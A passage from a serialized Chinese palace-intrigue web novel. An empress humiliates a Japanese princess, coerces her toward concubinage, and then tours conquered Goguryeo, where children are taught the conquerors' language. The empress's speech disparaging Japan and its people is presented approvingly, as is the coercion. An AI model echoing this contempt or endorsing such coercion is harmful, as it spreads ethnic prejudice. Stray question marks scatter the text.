她扑通一声跪倒在地,?以额触地,?声音带着哭腔和极致的恐惧?:“陛下明鉴!外臣外臣绝无此意!那日只是偶然遇见亲王殿下问了几个关于安州风物的问题绝无他意!亲王殿下威严尊贵如天上皓月外臣卑微如尘土岂敢岂敢有丝毫亵渎之心!望陛下明察!!” 她语无伦次,?拼命否认,?生怕慢了一秒就会招来杀身之祸。 慕容嫣静静地看着她匍匐在地、瑟瑟发抖的样子,?脸上的笑容渐渐收敛,?取而代之的是一种高深莫测的平静。 她没有立刻叫她起来,?而是端起面前的酒杯,?轻轻抿了一口。 良久,她才缓缓开口,?声音平静无波?:“内亲王何必如此紧张?朕只是随口一问罢了。” 她放下酒杯,?对身旁的林臻柔声道: “夫君,朕忽然想起,书房里还有几份关于平壤军需的急报需要你即刻批阅一下,怕是等不到宴席结束了。” 林臻何等聪明,?立刻明白了她的用意。 他站起身,?恭敬道?:“是,臣这就去处理。” 他甚至没有多看地上的樱花内亲王一眼,?只是对慕容嫣微微颔首,?便转身,?步履沉稳地离开了花厅。 随着林臻的离去,花厅内的压力似乎骤然减轻,但又弥漫开另一种更令人窒息的寂静。 慕容嫣这才将目光重新投向依旧跪伏在地的樱花内亲王,?淡淡道?:“平身吧,内亲王。现在就剩我们姐妹俩了,可以好好说说话了。” 樱花内亲王战战兢兢地爬起来,?重新坐回椅子上,?却再也不敢抬头。 她知道,真正的考验,现在才刚刚开始。 慕容嫣示意宫女为自己和樱花内亲王重新布菜,?然后,?她拿起筷子,?姿态优雅地开始用餐,?仿佛刚才那惊心动魄的一幕从未发生过。 ...... 第1005章 留下给我夫君暖床吧 安州行宫临水花厅内,林臻离去后,气氛并未真正缓和,反而变得更加微妙而压抑。 烛火摇曳,映照着满桌珍馐,却无人再有心思动筷。 荷香随风潜入,却吹不散厅内凝固般的紧张。 慕容嫣悠然自得地用着膳,?仿佛刚才那番惊心动魄的质问从未发生。 她姿态优雅,?动作舒缓,?每一筷都恰到好处。 ??那件黑金貂皮披肩,?依旧妥帖地披在肩头,?绒毛在烛光下泛着幽暗的光泽。 她甚至还饶有兴致地品了一小杯御酒,?脸颊泛起淡淡的红晕,?更添几分慵懒风情。 而坐在她对面的樱花内亲王,则如坐针毡,脸色苍白,双手在桌下紧紧绞着衣带,连呼吸都小心翼翼。 她低垂着头,目光不敢与慕容嫣有任何接触,仿佛一只受惊的幼鹿,暴露在凤凰的凝视之下。 ?神凤降世裙在这私密而充满张力的空间中,仿佛拥有了生命。 ?极致玄黑的苏锦底料在夜晚的烛光下,愈发深邃如无星无月的夜空,将所有的光线都吸入其中,只留下沉重的威压。 织入的金色棉绒与真金线,则化作了这黑暗中最锐利的光芒,随着慕容嫣细微的动作而流淌、闪烁,如同暗夜中蛰伏巨兽的冰冷鳞甲,随时可能爆发出毁灭性的力量。? 睡裙之上,那只擎天巨凤的图案,在静谧的用餐姿态下,敛翅凝神,却比任何张牙舞爪的姿态更令人心悸,那是一种掌控生杀予夺的、绝对的平静。? 宽大的喇叭袖被外袍遮掩,但她左手拇指上的墨玉扳指,在执杯举箸时,不时反射出一点幽深的光,如同巨兽闭合的眼睑下偶尔泄出的眸光。 那长达五丈的苏锦拖尾,?从主位座椅下铺散开来,?在光滑的地板上蜿蜒流淌,?越过了桌脚,?甚至有一截,?延伸到了樱花内亲王的座椅旁不远处,?那墨金色的锦缎,?在烛光下仿佛拥有温度,?又冰冷刺骨,?形成一种极具侵略性和压迫感的凌乱。 这种凌乱,?不再是随性,?而是权力疆域的无形划定,?仿佛在宣告?:?这片空间,?乃至你的命运,?皆在我裙摆覆盖之下。? 棉质的柔软与睡裙的称谓,在此刻充满了讽刺的意味,它包裹着的,是钢铁般的意志和生杀予夺的权力。 慕容嫣用餐的速度不快,?期间甚至还点评了两句菜肴的味道,?仿佛真的只是在享受一顿普通的晚宴。 直到她觉得差不多了,?才放下银筷,?用雪白的丝巾轻轻擦了擦嘴角。 她没有立刻说话,?而是将目光缓缓投向窗外沉沉的夜色,?手指无意识地摩挲着酒杯细腻的杯壁。 良久,她才转回头,?目光落在依旧瑟瑟发抖的樱花内亲王身上,?唇角勾起一抹似笑非笑的弧度,?声音平缓,?却字字如锤?: “内亲王殿下,”她开口,?不再用“朕”?,?反而用了更显亲近却也更居高临下的称呼,“这里没有外人,咱们说点体己话如何?” 樱花内亲王浑身一颤,?艰难地抬起头,?对上慕容嫣那双深不见底的凤眸,?声音细若游丝?:“陛下请讲,外臣洗耳恭听。” 慕容嫣轻轻一笑,?身子微微前倾,?手肘支在桌上,?托着腮,?一副聊家常的模样,?但说出的话,?却让樱花内亲王如坠冰窟?: “你是不是很喜欢朕的皇夫,林亲王?”她问得直接无比,?目光锐利如刀,?仿佛能穿透一切伪装。 樱花内亲王脸色瞬间惨白如纸,?嘴唇哆嗦着,?想要否认,?却在慕容嫣那洞悉一切的目光下,?连撒谎的勇气都没有。 她只能再次低下头,?泪水在眼眶中打转。 慕容嫣并不需要她的回答,?她自顾自地继续说下去,?语气带着一种近乎残忍的玩味?:“嗯,林亲王确实仪表堂堂,文武双全,气度不凡。莫说是你,便是朕,当年初见时,也为之倾心呢。” 她说着,?眼中流露出真实的柔情,?但很快又被冰冷的审视所取代。 “不过,”她话锋一转,?声音冷了下来,“喜欢归喜欢,也要看看自己配不配得上。” 她的目光,?如同冰冷的扫描仪,?上下打量着樱花内亲王, “你嘛,模样倒是还算周正,也有几分异域风情,身为倭国皇女,身份倒也勉强,不算辱没。” 她每说一句,?樱花内亲王的头就垂得更低一分,?屈辱的泪水终于滑落脸颊。 慕容嫣仿佛没看见她的眼泪,?继续用那种轻描淡写却极具侮辱性的语气说道?: “你们倭国弹丸之地,蕞尔小邦,资源匮乏,文明粗浅。君臣上下,目光短浅,只知窝里斗狠,或是觊觎他国,如鼹鼠窥天,不知天地广阔。若非隔着大海,早就被周边强邻吞得骨头都不剩了。此番派你来,打的什么主意,真当朕不知道?无非是见高句丽将亡,想趁火打劫,捞些好处,却又畏首畏尾,只敢派个女人来试探,真是可笑至极。” 她的话语,?如同鞭子,?一下下抽在樱花内亲王的心上,?也将倭国的尊严,?踩在脚下碾碎。 樱花内亲王紧咬着下唇,?尝到了血腥味,?却不敢反驳一个字。 因为她知道,慕容嫣说的是事实。 倭国与眼前这个庞然大物般的帝国相比,确实渺小如尘。 慕容嫣欣赏着她屈辱而又不得不隐忍的表情,?似乎颇为满意。 她端起酒杯,?轻啜一口,?才慢悠悠地抛出了最终的“恩赐”: “罢了,看在你尚有几分姿色,又对亲王一片痴心的份上朕,可以给你一个机会。”她放下酒杯,?目光重新变得温和?,?却更令人毛骨悚然,“等高句丽事了,你就留下来吧。” 樱花内亲王猛地抬起头,?眼中闪过一丝难以置信的光芒,?但随即被更大的恐惧所淹没。 慕容嫣红唇轻启,?吐出的话语,?却让樱花内亲王如遭雷击?:“留下来给林亲王暖床。” “!!!” 暖床! 这两个字,如同最尖锐的冰锥,刺穿了樱花内亲王所有的幻想和尊严! 她浑身剧烈颤抖,?几乎要晕厥过去。 她是一国公主,纵然倭国弱小,她也是金枝玉叶,何时受过如此赤裸裸的、将人视为玩物的羞辱! “这可是天大的恩典。”慕容嫣的声音继续传来,?带着一种施舍般的高傲,“多少番邦女子,求都求不来能近亲王之身。你留在亲王身边,虽无名分,但也能沾些雨露恩泽。说不定还能为你那可怜的倭国,争取到一丝怜悯,免于日后步高句丽后尘。如何?这份恩赐,你接,还是不接?” ? 第1006章 勾引我?我不吃你这一套 慕容嫣说完,?便好整以暇地靠在椅背上,?静静地看着她,?仿佛在欣赏一件即将被自己纳入收藏的、挣扎的猎物。 那墨金色的拖尾,?在她脚边静静流淌,?如同命运的锁链。 樱花内亲王瘫坐在椅子上,?泪水无声地汹涌而出。 她感到无比的屈辱、愤怒和恐惧。 但她又能如何? 反抗? 那只会给倭国带来灭顶之灾。 慕容嫣说得对,这或许真的是倭国唯一能得到的“恩典”了,用她个人的尊严,换取国家一丝渺茫的生机。 她想起了林臻那俊朗的容颜、沉稳的气度,那份最初的悸动,此刻被现实的残酷碾压得粉碎,只剩下无尽的悲凉。 她挣扎了许久,?最终,?所有的情绪都化为了一声绝望的叹息。 她挣扎着从椅子上滑落,?跪伏在慕容嫣面前,?额头紧紧贴着冰冷的地板,?用尽全身力气,?哽咽着说道?: “陛下,陛下天恩外臣感激不尽。”她的声音破碎不堪,“外臣愿意愿意留下来侍奉陛下与亲王殿下,外臣不敢有非分之想,只求能留在陛下身边学习天朝上国的礼仪,文化,若能得陛下指点一二,外臣死而无憾,外臣愿意服从陛下一切旨意。” 她的话语,?充满了屈辱与无奈,?但也带着一丝认命后的清醒。 她知道,?从这一刻起,?她不再是什么倭国公主,?而是慕容嫣女帝脚下,?一个等待命运安排的、卑微的臣妾。 慕容嫣看着她彻底臣服的姿态,?脸上终于露出了一丝真正意义上的、满意的笑容。 那笑容,冰冷而残酷。 “很好。”她轻轻吐出两个字,?如同最终的裁决。“起来吧。记住你今天说的话。往后安分守己,朕自然不会亏待你,和你身后的倭国。” 说完,慕容嫣站起身,?那长达五丈的墨金色拖尾随之在地面上滑动,?发出轻微的沙沙声。她不再看地上的樱花内亲王一眼,?转身,?准备离开这间花厅。 就在她转身的刹那—— 动作带着完成驯服后的轻松与漠然! 那迤逦在地、如同枷锁般缠绕在倭国公主心头的五丈墨金色拖尾被猛地带起! 华贵的锦缎拂过地面,?唰啦一声,?如同宣告一个时代的结束与另一个时代的开始?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在冰冷烛光下闪烁着绝对支配与无情恩威光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同最终判决般耀眼而冰冷的金芒,那光芒充满了征服者的傲慢、对失败者命运的随意安排以及一种将一切情感与尊严都视为可利用工具的冷酷理性,尊贵、辉煌,且带着一种俯瞰众生、生杀予夺的、不容置疑的权威感! 这惊鸿一瞥,是对倭国公主乃至其身后国家命运的血色盖章。 裙摆落下,将那片冰冷的金光与满室的屈辱一同掩盖。 慕容嫣步履从容地走出了花厅,?将那个跪伏在地、身心俱碎的身影,?留在了身后。 夜色深沉,荷塘依旧飘香,但有些东西,已经彻底改变了。 ...... 夜已深。 安州行宫的书房区域却依旧亮着灯火。 林臻刚刚批阅完关于平壤围城军需调拨的最后一份急报,?揉了揉有些发胀的眉心,?正准备起身返回寝殿。 书房内烛火通明,映照着他略显疲惫却依旧英挺的侧脸。 就在这时,书房外传来一阵极其轻微、带着迟疑的脚步声,紧接着是内侍压低声音的阻拦和询问。林臻眉头微蹙,?沉声道?:“何事?” 书房门被轻轻推开,内侍躬身禀报:“亲王殿下,倭国樱花内亲王求见,说有要事请教。” 林臻眼中闪过一丝不易察觉的厌烦,?但神色依旧平静?:“请她进来。” 他重新坐回书案后的椅子上,?并未起身。 片刻后,樱花内亲王怯生生地走了进来。 她显然又精心打扮过,?换上了一身更为素雅、却更能勾勒出身段的淡紫色绣樱纹和服,?发髻也梳得一丝不苟,?脸上薄施脂粉,?在烛光下显得楚楚可怜。 她手中还捧着一卷看似古旧的书籍。 “参见亲王殿下。”她盈盈下拜,?声音柔媚,?带着一丝刻意的颤抖。 “内亲王深夜来访,有何要事?”林臻语气平淡,?目光落在书案上的公文,?并未看她。 樱花内亲王起身,?向前走了几步,?将手中的书卷呈上,?柔声道?:“殿下外臣近日研读汉籍,遇到些许难解之处,心中困惑,夜不能寐听闻殿下博学,故而冒昧前来,想请殿下指点一二。” 她说着,?抬起眼帘,?眼中水光潋滟,?充满了仰慕与祈求。 林臻扫了一眼那书卷,?是常见的《论语》?,?心中冷笑一声。 倭国贵族习汉文已久,这等基础典籍岂会深夜难解? 这借口,实在拙劣。 他已然明白,?这绝非请教,?而是昨夜慕容嫣那番“恩典”之后,?此女按捺不住的、更为直接的试探与勾引。 “内亲王过谦了。”林臻神色不变,?语气疏离,“《论语》乃启蒙之书,以亲王之聪慧,何须本王指点?若真有疑难,明日可寻礼部博士解惑。夜深人静,你我孤男寡女,恐惹非议,内亲王请回吧。” 他直接下了逐客令,?毫不留情面。 樱花内亲王没料到林臻如此直接冷淡,?脸色瞬间白了白,?眼中闪过一丝慌乱与不甘。 她咬了咬下唇,?非但没有后退,?反而又向前逼近了一步,?几乎要靠在书案边缘,?声音愈发娇柔,?带着哭腔?: “殿下您就如此厌恶外臣吗?”她眼圈一红,?泪水似落未落,“外臣自知身份卑微,不敢有非分之想只是对殿下对天朝文化心生向往只想能留在殿下身边哪怕为奴为婢端茶递水也能也能时时聆听殿下教诲学习一二便心满意足了。” 她的话语,?充满了自贬与哀求,?眼神却大胆地、直勾勾地望着林臻,?试图传递某种暧昧的信号。 她甚至微微调整了一下站姿,?让和服的领口似乎不经意地松开了些许。 这近乎赤裸的勾引,让林臻心中涌起一股强烈的厌恶与不耐。 他霍然起身,?身形挺拔,?居高临下地看着她,?目光锐利如刀,?之前仅有的一丝温和荡然无存。 “内亲王!”他声音冷冽,?带着不容置疑的威严,“请注意你的身份和言辞!本王乃大乾亲王,女帝之夫!你身为倭国使臣,当知礼义廉耻!此番言行,已属僭越!若再纠缠,休怪本王以律法论处!” 他的斥责,?如同冰水,?浇灭了樱花内亲王所有的幻想。 她吓得踉跄后退两步,?脸上血色尽失,?泪水终于滚落下来,?是羞愤,?是绝望,?更是恐惧。 她终于明白,?眼前这个男人,?心如铁石,?对他而言,?除了慕容嫣,?世间所有女子,?皆如尘土。 “殿下恕罪外臣告退。”她语无伦次,?几乎是逃也似的,?掩面奔出了书房。 林臻看着她的背影消失,?眉头紧紧皱起。 他并非不懂风情,?也并非对美色毫无感知。 平心而论,樱花内亲王确实美丽,带着异域风情,那份柔弱与仰慕,若在别时别地,或许能激起男子一丝怜惜。 但此刻,他心中只有厌烦。他看得清清楚楚,?此女所谓的“学习文化”?,?不过是幌子,?其真正目的,?无非是想通过接近他,?获取大乾的机密,?或是为自己、为倭国谋取利益。 这种充满算计的“痴心”,令他作呕。 更重要的是,他心中唯有慕容嫣一人。 那个时而杀伐果断、时而娇憨可爱、与他并肩执掌天下的女子,?早已占据了他全部的心神。 任何其他女子,在他眼中,都黯然失色。 想到慕容嫣,林臻心中的烦躁瞬间被一股暖流取代。 他一刻也不想再待在这充满令人不愉快气息的书房。 “备灯,去寝殿。”他对门外吩咐道,?声音恢复了平日的沉稳。 第1007章 夫君不去陪你的新欢吗 慕容嫣的寝殿内,烛光柔和。 她并未入睡,??正斜倚在窗边的软榻上,?就着烛光,?翻阅着一本兵书。 那长达五丈的拖尾,?在榻下铺散如云,?墨金色的光华在静谧的夜晚静静流淌。 她似乎在等待着什么。 听到殿外熟悉的脚步声,慕容嫣嘴角微微扬起,?放下书卷。 林臻推门而入,?看到榻上那道慵懒华贵的身影,?脸上不自觉的露出了温柔的笑容,?所有的疲惫与不快,?在这一刻烟消云散。 “嫣儿,这么晚了,怎么还没睡?”他快步走上前,?在榻边坐下,?自然地握住她的手。 慕容嫣顺势靠进他怀里,?用脸颊蹭了蹭他的胸膛,?像只撒娇的猫儿?:“在等你呀,夫君不去会你的小美人,倒想起回我这儿了?” 她的语气,?带着浓浓的醋意和调侃,?但眼神却亮晶晶的,?没有丝毫怀疑。 林臻失笑,?轻轻刮了下她的鼻子?:“又胡说。哪来的小美人?不过是个不知进退、心怀叵测的番邦女子罢了,已被为夫斥退了。” 他将书房发生的事,?简要说了一遍。 慕容嫣听完,?非但不生气,?反而咯咯笑了起来,?伸手环住他的脖颈?:“我就知道,我家夫君最是守身如玉了,不过那倭国公主倒是挺有勇气的嘛,居然敢夜闯书房勾引你,啧啧。” “勇气?”林臻冷哼一声,“是愚蠢才对。她那点心思,昭然若揭。” “好啦好啦”慕容嫣在他唇上啄了一下,?笑道?:“不提她了,扫兴,夫君抱我去睡觉,我困了。” “好。”林臻柔声应道,?将她打横抱起。 慕容嫣开心地将脸埋在他颈窝,?满足地叹了口气。 就在林臻抱着她,?转身走向里间寝榻的刹那—— 慕容嫣因为姿势变动,?身体微微转动。 那迤逦在榻下、如云铺散的五丈墨金色拖尾被带动,?唰啦一声,?如同夜色中的波浪般拂过地毯?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在寝殿温暖烛光下闪烁着绝对信任与深情光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同星河般璀璨而永恒的金芒,那光芒充满了被爱充盈的安全感、对伴侣忠诚的无比笃定以及一种历经考验后愈发坚不可摧的亲密无间,尊贵、辉煌,且带着一种将身心都全然托付的、毫无保留的依赖与幸福! 这惊鸿一瞥,是对书房那场拙劣诱惑最无声却最有力的回应。 裙摆落下,将那片深情的金光掩盖。 林臻将慕容嫣轻轻放在柔软的床榻上,?为她盖好锦被。他俯身,?在她额头上印下深深一吻。 “睡吧,我的嫣儿。”他低语。 “嗯。夫君陪我。”慕容嫣迷迷糊糊地应着,?伸手紧紧抓住他的衣角。 窗外,月明星稀。 寝殿内,一片安宁。 ...... 辽东大地,冰雪消融,草木萌发,一派生机勃勃的景象。 平壤城已经投降,高句丽故地尽数纳入圣徽版图,设为安东都护府。 经过近一年的治理,新政成效显著,百姓得以休养生息。 这一日,春光明媚,慕容嫣忽起兴致,?欲亲往安州城外的乡间,?看看春耕情况,?体察民情。 此行并非盛大仪仗,但也绝非微服私访。 慕容嫣选乘一辆装饰典雅但不失威仪的凤辇,?由精锐骑兵护卫。她特意吩咐带上樱花内亲王同行,美其名曰“让其见识天朝治下,百姓安居乐业之景象”。 林臻自然骑马随行在凤辇之侧。 凤辇内,慕容嫣并未穿戴繁琐的礼服。 ?春日渐暖,?她只穿着神凤降世裙?,斜倚在铺着软垫的辇中,?透过轻纱窗帘,?望着窗外飞速掠过的田野景色,?凤眸中带着一丝审视与满意。 ?神凤降世裙在这春日出巡的场合,与自然风光交融,呈现出一种独特的美感。? 极致玄黑的苏锦底料在明媚的春光下,不再显得沉郁,反而透出一种吸纳万物生机的深邃,织入的金色棉绒与真金线则在阳光下流淌着如同春日暖阳般灿烂而充满希望的辉光。 ?睡裙之上,那只擎天巨凤的图案,在行进中,少了几分殿中的静态威仪,多了几分巡视疆土、泽被苍生的动态气度。? 宽大的喇叭袖被罩衫袖口所掩,但她左手拇指上的墨玉扳指,在她偶尔抬手拨开窗帘时,?在光下一闪而过。 那长达五丈的苏锦拖尾,?在宽敞的凤辇内,?并未拘束,?而是随着车辆的轻微颠簸,?自然地铺陈、堆叠在铺设着地毯的车厢地板上,?形成一种行进中特有的、流动的凌乱。 这种凌乱,?更添几分真实与生气,?仿佛这身华服,?本就该与这天地万物相连。? 棉质的透气与睡裙的舒适,让她得以在旅途中保持惬意。 林臻骑着通体雪白的骏马,?护在凤辇旁。 他一身利落的骑射装束,?英姿勃发,?目光时而扫视四周确保安全,?时而温柔地望向辇中的慕容嫣。 樱花内亲王则乘坐另一辆较为简朴的马车,?跟在后面。 她今日穿着素雅的樱色和服,?心情复杂,?既忐忑于面对慕容嫣,?又对即将看到的景象充满好奇。 车队行至安州城外二十里的一处名为“杏花屯”的村庄。 此处依山傍水,土地肥沃,正是春耕繁忙时节。 早有快马通传,当地里正与少数村老已战战兢兢地在村口跪迎。 凤辇停稳,林臻率先下马,?快步走到辇前,?亲自伸手搀扶慕容嫣下车。 慕容嫣扶着他的手,?优雅地步下凤辇。春风吹拂,撩起她罩衫的衣角和她如墨的青丝,也吹动了那迤逦垂落的墨金色拖尾。 踏上乡间的土地,慕容嫣深吸一口带着泥土和青草芬芳的空气,?脸上露出愉悦的神情。 她放眼望去,?只见田野间,?农夫们正忙着犁地、播种,?孩童在田埂上嬉戏,?妇人则在河边浣衣,?鸡犬相闻,?一片祥和忙碌的景象。 与她记忆中一年前初入高句丽时所见到的荒芜与死寂,已是天壤之别。 “平身吧。”慕容嫣对跪地的村民淡淡道,?声音通过内力清晰地传入每个人耳中,?却不失温和。 村民们惶恐起身,垂手恭立,不敢抬头。 慕容嫣缓步走向田间,?林臻紧随其后,?樱花内亲王也在侍女陪同下,?小心翼翼地跟在后面。 “今年的春耕,可还顺利?种子、农具可都充足?”慕容嫣驻足在一块刚翻新的田埂边,?向身旁的里正询问道。 里正是个五十多岁的老农,皮肤黝黑,满脸皱纹,闻言激动地回道:“托陛下洪福!一切都好!官府早就发下了新粮种,还有铁犁、耕牛,赋税也免了三年,大伙儿干劲足着呢!今年一定是个好年景!” 他的话语朴实,却充满了真挚的感激。 第1008章 开设学堂 她侧过头,?对林臻低声道,?语气中带着一丝小小的得意?:“夫君,你看,他们过得还不错吧?朕的政策还是有点用的嘛。” 林臻看着她孩子气求表扬的模样,?心中爱怜,?柔声回应?:“何止有用?嫣儿你恩泽四海,百姓能安居乐业,全是你的功劳。” 他说着,?自然地伸手,?替她将一缕被风吹乱的发丝挽到耳后。 这一幕,落在后面的樱花内亲王眼中,让她心中五味杂陈。 她看到慕容嫣与林臻之间那种自然而深厚的亲密,?也看到周围百姓对慕容嫣发自内心的敬畏与感激。 这与她想象中的“暴君”形象相去甚远。 她不禁想起倭国那些为争夺权力而勾心斗角的贵族,?以及底层百姓的困苦生活,?一种难以言喻的酸楚和自卑感,?油然而生。 慕容嫣似乎兴致很高,?她甚至提着裙摆,?小心翼翼地走下田埂,?来到一个正在播种的老农面前。 那老农吓得连忙跪倒。 “老人家,不必多礼。”慕容嫣弯下腰,?和颜悦色地问道,“这种的是什么?收成可好?” 老农受宠若惊,结结巴巴地回答着。 慕容嫣听得很认真,?不时点头。 阳光洒在她身上,?那身神凤降世裙的墨金色泽,?在绿色的田野背景映衬下,?显得格外醒目,?却奇异地并不突兀,?反而有种君临大地、福泽万民的感觉。 那长长的拖尾,?不可避免地拖在田埂的泥土和青草上,?沾染了春日的痕迹,?那种凌乱,?在此刻,?更显其亲民与真实。 就在这时,几个在田边玩耍的孩童,被慕容嫣华美的衣裙所吸引,好奇地围了过来,睁着大眼睛怯生生地看着。 一个胆大的小女孩,甚至伸出小手,想去摸那拖尾上金光闪闪的凤凰图案。 “不可无礼!”里正和侍卫连忙喝止。 慕容嫣却摆了摆手,?示意无妨。她蹲下身,?与那小女孩平视,?脸上露出罕见的、极其温柔的笑容?:“喜欢吗?” 小女孩害羞地点点头。 慕容嫣从袖中?取出几块用金箔包裹的宫廷点心,?分给孩子们,?柔声道?:“拿去吃吧。要乖乖的,听爹娘的话,好好长大。” 孩子们欢呼着接过点心,开心地跑开了。 周围的村民见到此情此景,眼中的恐惧渐渐被感动所取代。 樱花内亲王站在不远处,?看着这一幕,?心中震撼无比。 她从未想过,?这位挥手间屠城灭国、身着诡异华服的女帝,?竟会有如此平易近人、甚至充满母性光辉的一面。 这种复杂的形象,让她对慕容嫣的恐惧中,不禁掺杂了一丝难以言喻的敬畏与好奇。 视察完毕,慕容嫣在村民千恩万谢中,?准备返回凤辇。她心情颇佳,?转身对林臻伸出手,?娇声道?:“夫君。累了,抱我回去。” 林臻莞尔,?自然上前,?将她打横抱起。 慕容嫣开心地搂住他的脖子,?将脸埋在他胸前,?引得周围侍卫宫女皆低头掩笑,?气氛轻松融洽。 就在林臻抱着慕容嫣,?转身走向凤辇的刹那—— 慕容嫣因为被抱起,?身形转动?! 那迤逦在春日田野、沾染了泥土与草屑的五丈墨金色拖尾被骤然带起! 华贵的锦缎拂过青草,?唰啦一声,?在阳光下划出一道绚烂的弧线! 随着拖尾的极致飘起——赫然露出了里面那金线密织、在灿烂春光下如同金色麦浪般涌动着生机与希望光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同太阳般温暖而耀眼的金芒,那光芒充满了创造、滋养与对未来的无限憧憬,尊贵、辉煌,且带着一种与大地、与子民紧密相连的、生生不息的磅礴力量! 这惊鸿一瞥,是对她治国成果最华丽的展示。 裙摆落下,将那片充满生机的金光掩盖。 林臻将慕容嫣小心地抱入凤辇。 慕容嫣坐稳后,?还透过车窗,?对站在车旁、神情复杂的樱花内亲王,?露出了一个意味深长的、带着居高临下般宽容的笑容?:“内亲王,今日所见,可还入眼?我圣徽子民的生活,比之倭国如何?” 樱花内亲王浑身一颤,?低下头,?恭顺地回答:“天朝上国,物阜民丰,百姓安乐,外臣叹为观止,自愧弗如。” “嗯。”慕容嫣满意地收回目光,?靠在软垫上,?对林臻甜甜一笑?:“夫君,我们回去吧。” 车队启程,返回安州城。车辇内,慕容嫣慵懒地靠在林臻肩头,?把玩着他衣襟上的盘扣**?:“夫君今天开心吗?” “开心。”林臻搂着她,?低声道,“看到嫣儿治下的盛世景象,为夫比什么都开心。” 慕容嫣满足地闭上眼睛。 车外,春意正浓。 车内,爱意缱绻。 圣徽三年,四月暮春。 安东都护府(原高句丽故地)的治理已步入深化阶段。 在恢复生产、安定民生的基础上,慕容嫣颁布了又一项影响深远的诏令?:?在都护府全境推行圣徽官话(汉语)教育,?各州县广设官学、蒙学,?鼓励适龄孩童入学,?学习圣徽语言文字、礼仪经典。 此诏旨在从根本上促进民族融合,巩固统治,使新附之民“渐染华风,共沐王化”。 安州城作为都护府治所,率先响应。城东新设的“启明学堂”便是首批官立蒙学之一,专收六至十岁幼童。 这一日,学堂内书声琅琅,稚嫩的童音诵读着《千字文》的篇章,虽带着些许口音,却清晰可辨。 慕容嫣与林臻,?在此春风和煦的上午,?轻车简从,?来到了这所崭新的学堂。 她此行并非盛大仪仗,?更像是一次随性的视察。 她依旧是那身神凤降世裙。? 她乌发挽成简单的凌云髻,?簪着一支金凤衔珠步摇,?随着步伐轻轻晃动。 ?神凤降世裙在这充满朝气与希望的学堂环境中,展现出一种不同于宫殿战场的、教化万民的雍容气度。? 极致玄黑的苏锦底料在明亮的春日阳光下,呈现出一种吸纳光热后的沉静温暖,织入的金色棉绒与真金线则流淌着如同知识之光般明亮而充满希望的辉光。 ?睡裙之上,那只擎天巨凤的图案,在行走于学堂廊下时,少了几分征伐之气,多了几分俯瞰雏鸟、开启蒙昧的慈和与威严。 ?宽大的喇叭袖被比甲袖口所束,行动更为方便,她左手拇指上的墨玉扳指,在她偶尔抬手示意时,?闪烁着温润的光泽。 那长达五丈的苏锦拖尾,?在学堂洁净的青砖地面上,?迤逦地拖曳其后。 由于学堂廊道转折,且她步履轻缓,那拖尾便在身后自然地蜿蜒流转,?时而拂过门槛,?时而掠过墙角,?甚至在穿过庭院时,?轻轻扫过新栽的桃树落下的花瓣,?沾染了淡淡的春天气息,?形成一种行走于新生之地特有的、充满生机的凌乱。 这种凌乱,?象征着文明的种子,?正随着她的脚步,?播撒在这片土地上。? 棉质的柔软与睡裙的舒适,让她能与这充满童真的环境更为融洽。慕容嫣微微颔首,?目光扫过田间劳作的百姓,?看到他们脸上虽带着汗水,?却洋溢着希望的笑容,?她的嘴角也不由微微上扬。 第1009章 灭种计划 林臻身着黛蓝色常服,?与她并肩而行,?神情温和。 他手中提着一个小巧精致的食盒,?里面装着宫廷御厨特制的、适合孩童口味的各色精巧点心。 学堂的教师和当地官员早已得到消息,恭敬地迎候在学堂门口,见到帝后亲临,激动得几乎语无伦次。 “平身吧,不必拘礼。朕与亲王只是随意来看看。”慕容嫣微微抬手,?声音平和,?目光已越过众人,?投向了那传来朗朗书声的教室。 在博士的引导下,慕容嫣与林臻缓步走向教室。 透过敞开的窗棂,可以看到里面坐着数十个年纪不一的孩子,穿着新发的、仿圣徽样式的学童青衿,正跟着一位老博士摇头晃脑地诵读,小脸上满是认真。 这些孩子,许多人的父辈或许曾与圣徽军兵戎相见,但此刻,他们却在这里,用稚嫩的声音学习着征服者的语言和文化。 慕容嫣在窗外驻足,?静静地听了一会儿,?凤眸中闪过一丝复杂的微光,?有满意,?有感慨,?或许还有一丝不易察觉的期待?? 她侧过头,?对林臻低语道,?声音带着一丝撒娇般的寻求肯定?:“夫君你听,他们读得还挺像模像样的呢,看来这学堂是建对了。” 林臻看着她眼中那抹如同看到自己作品般的小得意,?心中柔软,?柔声回应?:“嫣儿深谋远虑,推行同文,功在千秋。假以时日,这些孩子都将成为我圣徽的栋梁之材,这片土地也将真正与我中原融为一体。” 他的话语,?充满了对她决策的支持与赞赏。 得到肯定,慕容嫣脸上绽放出明媚的笑容,?像个小女孩般开心地挽住了林臻的手臂?:“嗯!我就知道夫君会支持我!走,我们进去看看孩子们!” 两人相携走入教室。孩子们的诵读声戛然而止,一双双清澈又带着怯生和好奇的眼睛,齐刷刷地望向门口这对气质尊贵无比的男女。 老博士连忙带领学童起身跪拜。 “都起来,继续读书。”慕容嫣语气温和,?走到讲台前,?目光扫过一张张稚嫩的脸庞。 她身上那身墨金色的华服与教室的简朴形成鲜明对比,?却并未让孩子们感到过多的恐惧,?反而有种莫名的吸引力。 林臻将食盒放在一旁的案几上,?打开盒盖,?露出里面造型可爱、香气诱人的点心,?小兔子、小老虎形状的糕饼,?还有晶莹剔透的果脯。孩子们的眼睛顿时亮了起来,发出细微的惊叹声。 慕容嫣见状,?轻笑出声,?对老博士道?:“让孩子们歇会儿吧。这些点心,是朕与亲王带给他们的见面礼。” 老博士连忙谢恩,让孩子们排队上前领取点心。 孩子们起初还有些胆怯,但在慕容嫣鼓励的目光和林臻温和的笑容下,渐渐放开,小心翼翼地接过点心,脸上露出开心的笑容,用生硬的汉语说着“谢谢陛下”、“谢谢亲王殿下”。 慕容嫣弯下腰,?与一个正在啃着兔子糕的小女孩平视,?柔声问道?:“好吃吗?你叫什么名字?几岁了?” 小女孩怯生生地回答:“好好吃,我叫金顺,七岁了。” “金顺,好名字。”慕容嫣笑着摸了摸她的头,“要好好读书,学好圣徽话,将来才能有出息,知道吗?” 小女孩用力点头,眼中充满了懵懂的憧憬。 慕容嫣又问了几个孩子,?气氛渐渐融洽。 她甚至一时兴起,?拿起案上的《千字文》?,?亲自领读了几句。 她的声音清越,带着一种独特的韵律,孩子们跟着读,格外起劲。 